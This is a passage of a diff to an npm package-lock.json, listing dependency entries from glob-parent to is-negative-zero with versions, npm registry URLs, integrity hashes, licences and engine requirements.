"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fastq": { + "version": "1.19.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz", + "integrity": "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/file-entry-cache": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", + "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^4.0.0" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", + "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.4" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/flatted": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", + "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", + "dev": true, + "license": "ISC" + }, + "node_modules/follow-redirects": { + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz", + "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", + "dev": true, + "dependencies": { + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/form-data": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz", + "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/function.prototype.name": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz", + "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "functions-have-names": "^1.2.3", + "hasown": "^2.0.2", + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/generator-function": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/generator-function/-/generator-function-2.0.1.tgz", + "integrity": "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-nonce": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz", + "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==", + "engines": { + "node": ">=6" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-symbol-description": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz", + "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/globals": { + "version": "16.5.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-16.5.0.tgz", + "integrity": "sha512-c/c15i26VrJ4IRt5Z89DnIzCGDn9EcebibhAOjw5ibqEHsE1wLUgkPn9RDmNcUKyU87GeaL633nyJ+pplFR2ZQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "dev": true, + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/globrex": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/globrex/-/globrex-0.1.2.tgz", + "integrity": "sha512-uHJgbwAMwNFf5mLst7IWLNg14x1CkeqglJb/K3doi4dw6q2IvAAmM/Y81kevy83wP+Sst+nutFTYOGg3d1lsxg==", + "dev": true + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", + "dev": true, + "license": "MIT" + }, + "node_modules/has-bigints": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz", + "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz", + "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==", + "dev": true, + "dependencies": { + "dunder-proto": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hast-util-to-jsx-runtime": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz", + "integrity": "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==", + "dependencies": { + "@types/estree": "^1.0.0", + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "comma-separated-tokens": "^2.0.0", + "devlop": "^1.0.0", + "estree-util-is-identifier-name": "^3.0.0", + "hast-util-whitespace": "^3.0.0", + "mdast-util-mdx-expression": "^2.0.0", + "mdast-util-mdx-jsx": "^3.0.0", + "mdast-util-mdxjs-esm": "^2.0.0", + "property-information": "^7.0.0", + "space-separated-tokens": "^2.0.0", + "style-to-js": "^1.0.0", + "unist-util-position": "^5.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-whitespace": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz", + "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==", + "dependencies": { + "@types/hast": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/html-url-attributes": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/html-url-attributes/-/html-url-attributes-3.0.1.tgz", + "integrity": "sha512-ol6UPyBWqsrO6EJySPz2O7ZSr856WDrEzM5zMqp+FJJLGMW35cLYmmZnl0vztAZxRUoNZJFTCohfjuIJ8I4QBQ==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/husky": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/husky/-/husky-8.0.3.tgz", + "integrity": "sha512-+dQSyqPh4x1hlO1swXBiNb2HzTDN1I2IGLQx1GrBuiqFJfoMrnZWwVmatvSiO+Iz8fBUnf+lekwNo4c2LlXItg==", + "dev": true, + "bin": { + "husky": "lib/bin.js" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/typicode" + } + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/immer": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/immer/-/immer-10.2.0.tgz", + "integrity": "sha512-d/+XTN3zfODyjr89gM3mPq1WNX2B8pYsu7eORitdwyA2sBubnTl3laYlBk4sXY5FUa5qTZGBDPJICVbvqzjlbw==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/immer" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/inline-style-parser": { + "version": "0.2.6", + "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.2.6.tgz", + "integrity": "sha512-gtGXVaBdl5mAes3rPcMedEBm12ibjt1kDMFfheul1wUAOVEJW60voNdMVzVkfLN06O7ZaD/rxhfKgtlgtTbMjg==" + }, + "node_modules/internal-slot": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz", + "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==", + "dev": true, + "dependencies": { + "es-errors": "^1.3.0", + "hasown": "^2.0.2", + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/internmap": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", + "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", + "engines": { + "node": ">=12" + } + }, + "node_modules/is-alphabetical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz", + "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-alphanumerical": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz", + "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==", + "dependencies": { + "is-alphabetical": "^2.0.0", + "is-decimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz", + "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-async-function": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz", + "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==", + "dev": true, + "dependencies": { + "async-function": "^1.0.0", + "call-bound": "^1.0.3", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-bigint": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz", + "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==", + "dev": true, + "dependencies": { + "has-bigints": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-boolean-object": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz", + "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "dev": true, + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-data-view": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz", + "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "is-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-date-object": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz", + "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.2", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-decimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz", + "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-finalizationregistry": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz", + "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-generator-function": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz", + "integrity": "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.4", + "generator-function": "^2.0.0", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-hexadecimal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz", + "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/is-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz", + "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-negative-zero": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz", + 